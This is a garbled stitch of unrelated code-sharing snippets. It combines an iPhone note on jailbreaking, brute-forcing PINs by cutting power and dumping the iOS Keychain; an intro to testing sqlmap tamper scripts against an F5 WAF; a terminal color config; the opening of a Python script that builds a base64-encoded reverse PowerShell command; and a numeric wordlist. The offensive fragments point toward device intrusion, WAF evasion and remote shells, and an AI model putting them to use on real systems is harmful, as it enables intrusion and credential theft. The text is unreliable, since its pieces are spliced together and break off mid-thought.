0xtavi 0xtavi

Pop App Locks

For these hacks the iPhone must be jailbroken. But there currently is a jailbreak available for iOS 8.4 and some below. 4 digit pins can be bruteforced unless there is a attempt limit. Even with the limit it can still be hacked but you would need to break the phone open to rig the power to cut before the attempt is registered. Example here.

For all of these you need:

Phone to be jailbroken
OpenSSH installed on the phone

###1) Dump the iOS Keychain

SQLMap Tamper scripts evaluation against F5 Big-IP ASM WAF

The below table represents results of tests launched against F5 Big-IP ASM WAF appliance in it's XX version of YY and ZZ version of XY

Below names are to be passed to the --tamper= parameter of sqlmap.

The column Violation Rating represents most dominant rating of topmost 20 Requests observed by F5 in it's Security>>Event Logs:Application:Requests view.

The scale is 0-5.

	ColorForeground=#f2f2e5e5bcbc
	ColorBackground=#323230302f2f
	ColorCursor=#d65bc4cd8ca1
	ColorPalette=#323230302f2f;#cccc24241d1d;#989897971a1a;#d7d799992121;#454585858888;#b1b162628686;#68689d9d6a6a;#929283837474;#1d1d20202121;#fbfb49493434;#b8b8bbbb2626;#fafabdbd2f2f;#8383a5a59898;#d3d386869b9b;#8e8ec0c07c7c;#b9b9a6a69393

	#!/usr/bin/env python3
	#
	# generate reverse powershell cmdline with base64 encoded args
	#

	import sys
	import base64

	def help():
	print("USAGE: %s IP PORT" % sys.argv[0])

	"""
	If you use Chrome, get Chromedriver and put in your PATH:
	http://chromedriver.chromium.org/downloads

	If you use Firefox, get Geckodriver and put in your PATH:
	https://github.com/mozilla/geckodriver/releases

	Also install:

	pip install requests

	0
	00
	01
	02
	03
	1
	1.0
	10
	100
	1000